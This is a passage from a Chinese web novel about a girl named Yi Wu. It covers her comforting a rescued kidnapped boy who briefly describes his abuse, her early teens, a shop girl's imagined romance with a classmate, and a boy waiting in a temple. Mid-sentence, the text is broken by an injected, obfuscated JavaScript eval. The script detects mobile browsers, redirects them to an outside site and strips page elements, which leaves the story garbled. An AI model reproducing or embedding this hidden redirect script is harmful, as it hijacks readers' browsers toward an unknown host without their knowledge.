“我......也被人绑架过。”易伍望着他,眼神温柔而笃定,“眼睛被蒙上,一片黑。我以为不会有人来救我了,很害怕,非常害怕...... 她吸了口气,“但后来,我哥来了。会有人来的,相信我,一定......会有人来的。” 男孩起初怵着一动不动。 过了一会儿,他的嘴唇轻轻哆嗦,面部肌肉开始抽搐,再是肩膀,最后是腿。 毫无预警地,他突然抱着头跪倒在地,浑身颤抖声嘶力竭地喊:“抓他,抓住他!他脱我裤子,然后脱自己的......很多很多次。我不听话,他就把我的头按水里,还说要杀爸爸妈妈。求求你们,抓......住他!” * 回家路上,夕阳如烧,天边的云也被染成一抹酡红。 欢欢心有余悸,捂着咚咚直跳的心脏:“好吓人啊,居然连着两次遇到这种事!感觉像在演《柯南》!” 易伍垂着头,轻轻踢开一颗小石子:“妈妈总说,女孩子要保护好自己,可我今天才知道.......男孩子也需要。” 她叹了口气,声音里透着无力,“这个世界,对小孩子来说太危险了。我好担心我哥。” 欢欢看出她的担忧,连忙朗声安慰:“别担心!你哥自己就很厉害。而且我妈说了,好人有好报。你们俩,就像电视里演的,《射雕英雄传》你看过吗?你们就像里面的大侠!坏人看到你们,都要绕道走的。” 易伍扑哧一下笑出了声,心里的紧张稍稍疏解:“不是只有冲在前面的人才勇敢,在后面默默帮忙的人,也是大侠!” 她抬头看着好友,认真地说:“欢欢大侠,谢谢你。” 欢欢摸了摸后脑勺,嘿嘿笑着。 两人手挽着手,夕阳余晖把她俩的背影无限拉长。 此时的易伍无论如何也料想不到,这个叫磊磊的男孩将来会成为自己的丈夫。 可世事如此,祸福难辨。真相总是,波诡云谲。 * 遥远的滇市,寺庙深处。 季宁做完一天的洒扫,蹲下身仔细翻找着落叶。 很可惜,他再也没有找到那样完整的心形叶。 师兄们在他身后窃窃私语。 “最近又来了几个要收养的,他是一个也没看上啊。” “他说了,必须去燕城上学。” “啧啧,见过大世面的就是不一样,这胃口真是大。” “胃口大也要有人愿意啊。别人听说他能引来儿子,都很感兴趣好吧。” “再怎么见过世面,最后不也被退了货?还以为呆在那儿,麻雀变凤凰了呢。” “你们快消停会儿吧。现在他耳朵好了,你们说的全能听见,小心告到师父那,都吃不了兜着走!” 29. 一位男友 春去秋来,斗转星移,转眼又是四个秋。 升入初中的易伍,迎来了蓬勃的少女时代。 身体像柔软的柳枝抽条,纤细却充满韧性。黑发如绸缎,双眼如星辰。 她喜欢自己的身体。 曾经被孤立霸凌的假小子一去不复返。取而代之的,是大方得体、彬彬有礼、八面玲珑的富家小姐。 她的文化课成绩常年稳居第一,过了钢琴八级,拿了青少年宫国画一等奖,还被挑选进了区游泳队。 游泳是易伍自己主动要求学的。 溺水的恐惧挥之不去,下水时全身都在抖,可她还是咬牙扎了进去。 这一扎,就成了条灵活悠游的鱼。 比起被动等待王子拯救,她更愿意做一个自救者。 所有课余时间至此被全部填满。课外班、学校、家三点一线,每天披星戴月早出晚归。 可她喜欢繁忙充实的生活。忙一点,就能少想点季宁。 虽然,她还是很想他。 时间没有把思念碾平,反而加深了它的纵深与沟壑。回忆像藏在黑暗角落的猛兽,在每个静悄悄的瞬间窜出来作乱,张牙舞爪兴风作浪,她得靠看书做题这些机械重复动作才能压下去。 这天早饭,谷佳慧又一次将滇市寄来的信偷偷扔进碎纸机。这是第几封,已经记不清了。 她神情复杂地看向女儿。 褪去稚气的美人胚子,集齐了父母的相貌优势,像颗自带光源的耀眼明珠。 谷佳慧将易伍的发绳绑到最高,忧心忡忡地反复提醒,一定不能把头发散下来,并且,务必要离臭男生们远一点。 可是没有用。 外班的同学还是不断在课间过来,装作漫不经心地倚靠在楼梯口的栏杆上,眼神却止不住地往窗户里瞟。 在这所燕城最好的私立学校,学生们的家庭背景个个非同小可,外形出众的也不在少数。 可易伍依旧美得一骑绝尘。 孟旭不得已,每天守在门口,一个个将人撵走。 * 变身小弟的孟旭,比当大哥的他更令易伍头疼。 这几年下来,孟旭恨不得每天寸步不离跟在她屁股后面,见缝插针地表现男子气概——不是给她当保镖就是给她提书包。 早上往她桌子里塞饼干,中午给她盘子里夹鸡腿,放学就算绕路也要护送她回家。 她像是孟旭的个人专有物,旁人不许靠近。就算明里暗里拒绝了好多次,他也依旧我行我素,赶都赶不走。 现在一看到孟旭那张殷勤的笑脸,她就莫名恐慌,条件反射拔腿就跑。 原来,被人喜欢比被人讨厌更需要勇气。 这天刚打午休铃,一个女孩突然探头探脑出现在了教室门口:“易佑弟,请问哪个是易佑弟?” 孟旭连忙凑了过去,眉头一皱,严肃纠正:“人现在叫易伍,别一口一个易佑弟的。记住了?” 女孩毫不示弱反呛回来:“怎么,你是她小弟?和你有啥关系?真有意思。” 孟旭倒是十分爽快一口认下:“对,我就是她小弟。”他清了清嗓子,压低声音,“虽然她没承认但是这不重要。你谁啊?” 女孩翻了个白眼:“我是你姑奶奶!别磨磨唧唧的,赶快叫她出来!” 孟旭没好气地哼了声,眼巴巴跑来易伍桌前:“门口有个找你的,但是没穿咱学校校服,我陪你过去,你跟在我后面小心点儿啊。” 易伍从书里抬头,用看傻子的表情扫了孟旭一眼,冷冷表示:“不用。” 门口站着的女孩十分面熟。 “是你!我记得你!”女孩很自然地拉着易伍的手晃晃悠悠,“我是管小安,校门口小卖部的,你有印象吗?” 易伍点点头。睹物思人不好受,她再没去过那个小卖部。 管小安自顾自地继续说:“我今天来给老师送牛奶,正好把这个给你。”她从身后比她还高的拖车里取出一大包东西。 “这是什么?”易伍疑惑地问。 “这几天我帮爸爸收拾库房,在角落里看到这个。爷爷留了条,上面写着这些都是留给你的。不过字条上的年级不对,害我一通好找,然后才想起来你肯定升班了。” 易伍打开塑料袋的包装——满满一大袋零食,全是她小时候爱吃的,只是已经过期了。 就是这种瞬间,回忆如决堤洪水。她止不住地发愣。 “你说你,当初就为了这点小事哭什么啊,搞得委屈巴巴的。我又不会要你的东西啰,直接跟我说就行了嘛。”管小安皱起眉头。 “不,我不是.......”易伍连忙摆手。 “哎今天也是顺路,我......”管小安突然停住,本来兴高采烈的脸凝固了,看向前方愣了一小会儿,急急忙忙跟易伍挥手,“不跟你说了啊,我还有事。” 走廊上人来人往。易伍看着管小安蹦蹦跳跳到一个男生面前,嘴角像花一样绽开。 她伸手掏了荷包,然后郑重其事地把荷包里的东西递了过去。 男生叫梁彦,是隔壁班的班长。人长得好看,又是品学兼优的三道杠,每周在国旗下讲话,是老师的心头肉。 送完东西,管小安一蹦一跳地回来,冲着易伍挤眉弄眼:“刚刚那个,你看到了没?” 易伍摸了摸后脑勺:“谁?.......你说梁彦吗?” 管小安兴奋得一蹦三尺高:“你认识他?所以他叫梁彦啊?......咳咳。”她害羞地低下了头,“跟你说个秘密不许告诉别人!其实.......他是我的,男朋友。” 易伍完全不知道为什么管小安会把这种核弹级的秘密告诉给她一个陌生人:“男......朋友?但是,你,你都不知道他叫什么名字啊?” 管小安见她大惊小怪,撇了撇嘴:“名字有什么要紧,真爱还管这些?” 易伍思索了会儿:“但是......你才多大啊?” 管小安扬起头:“反正比你大。真爱还管这些?” “那......你怎么知道,你喜欢他?” 管小安眼睛里闪了星星,指了指自己心脏:“每次见到他,我这里就有好多好多蝴蝶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004908|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在飞。在我心里,他和花轮同学一样完美。这,肯定就是喜欢了。” “那他对你呢?” “他对我当然也是啦!我第一次去他家送牛奶,不小心把牛奶瓶子碰倒了,捡玻璃渣的时候手出了血。他担心得不得了,跑去给我拿药,还帮我包扎。和小说里写的一模一样。他当然也是喜欢我的啦。” 管小安扬起脸,笑得比春光灿烂,“不过我这么好,谁能不喜欢呢?我自己就特别喜欢我自己!” 易伍若有所思地点了点头:“他帮你拿药、包扎。这样,就算男朋友了吗?” “当然!我们会有三个孩子,婚礼会在飘满气球的粉色沙滩上举行。我穿着白色婚纱,缓缓走到他身边,天空燃起烟花,喜鹊飞来为我们祝贺。我们会当着所有人的面接——”她适时住嘴,尴尬地咳嗽了声。 这个女孩,描绘生动场景以及组织语言的能力,显然超过同龄人。易伍听得一愣又一愣。 管小安倚靠在栏杆上问:“你呢?你有喜欢的人吗?有男朋友吗?” 这个问题对易伍来说,太遥远了。 她喜欢很多人。妈妈,哥哥,欢欢,甚至这个刚见第二面话超级多的女孩管小安。但是这种喜欢,和管小安口中的喜欢,应该不是一回事。 她对那种特殊的喜欢有着深入骨髓的恐惧。 平常看书,爱情主题等同于恐怖小说,她都丢到一边,和对待洪水猛兽没区别。 当然,这也符合谷佳慧一直以来对她的教育。绝对不能早恋,绝对不能因为男生荒废学业,绝对要离男性生物越远越好。 女人最终会毁在男人手上,或者变成泡沫。 所以,对于管小安的问题,她坚定地摇了摇头。 “你抓紧啊!你们学校全是帅哥。”管小安语重心长地拍了拍她的肩膀,“真羡慕你,可以和梁彦在一个地方读书。” “你为什么没来我们学校?” “开玩笑呢。你们学费超级贵好吗?我怎么可能在。”管小安冲她眨了眨眼,“刚刚交换了秘密,我们就是朋友啦!有空来找我玩啊,来小卖部就行,我经常在那帮忙。现在就先......seeyou啦。” 易伍看着管小安风风火火地拉着拖车,很快消失在了楼梯尽头。 * 易伍也准备下楼吃饭。谁知在拐角恰好碰到梁彦。 然后,她错愕地看到,管小安口中的男朋友,正皱着眉,满脸嫌恶地将手里的巧克力扔进拐角的垃圾箱。 梁彦走后,易伍走向垃圾箱,把那盒巧克力捡了出来,用纸巾擦得干干净净。 * 季宁在慢慢丧失希望。 他的耳朵好了,语言表达也跟着好了起来,说话已经与常人无异。 过来咨询领养的人不少,但在季宁明确表示自己没有引儿子的超能力后,很多人退缩了。 当然,他提出要去燕城居住,这个条件也很少有人能做到。 寄去燕城的信,更是石沉大海。 但这天,空山新雨后,庙里突然来了个戴着黑超墨镜的年轻女人。